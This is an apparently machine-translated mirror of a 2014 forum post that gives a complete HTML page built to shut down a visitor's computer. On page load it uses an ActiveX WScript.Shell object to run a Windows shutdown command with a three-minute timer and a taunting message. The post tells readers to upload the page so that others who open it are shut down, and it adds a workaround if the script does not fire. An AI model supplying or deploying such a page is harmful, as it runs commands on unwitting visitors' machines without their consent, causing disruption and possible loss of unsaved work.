This article is a mirror article of machine translation, please click here to jump to the original article.

View: 10930|Reply: 0

[JavaScript] A piece of Javascrip{filtering}t code to let others open the web page and shut it down within 3 minutes!

[Copy link]
Posted on 10/15/2014 10:03:34 PM | | |
First, the code is as follows, copy the code to Notepad, then save, change the txt suffix name to html, upload it to the space, and others will shut down within 3 minutes if they want to browse your web page. If someone opens the web page and the computer does not reflect it, it may be that javascrip{filtering}t is disabled, you can change the browser's speed mode to compatibility mode to try!

  1. <html>
  2. <head>
  3. <!--ITvcse笨伢论坛(www.itsvse.com)-->
  4.    <scrip{过滤}t type="text/javascrip{过滤}t">
  5.     var intervalID = null;
  6.     function   runcommand()   
  7.       {   
  8.        s=new   ActiveXObject("Wscrip{过滤}t.Shell");   
  9.        cmd="shutdown /s /t 180 /c "对不起关你没商量!麻烦重启一下! "";   
  10.        s.Run(cmd);   
  11.         intervalID   =   setInterval("closeText()",10000);  
  12.       }
  13.    </scrip{过滤}t>
  14. </head>
  15. <body onload="runcommand()">
  16. </body>
  17. </html>
Copy code






Previous:Analyze the usage of the four major CSS attribute value selectors
Next:What you didn't know about the power of the Recycle Bin
Disclaimer:
All software, programming materials or articles published by Code Farmer Network are only for learning and research purposes; The above content shall not be used for commercial or illegal purposes, otherwise, users shall bear all consequences. The information on this site comes from the Internet, and copyright disputes have nothing to do with this site. You must completely delete the above content from your computer within 24 hours of downloading. If you like the program, please support genuine software, purchase registration, and get better genuine services. If there is any infringement, please contact us by email.

Mail To:help@itsvse.com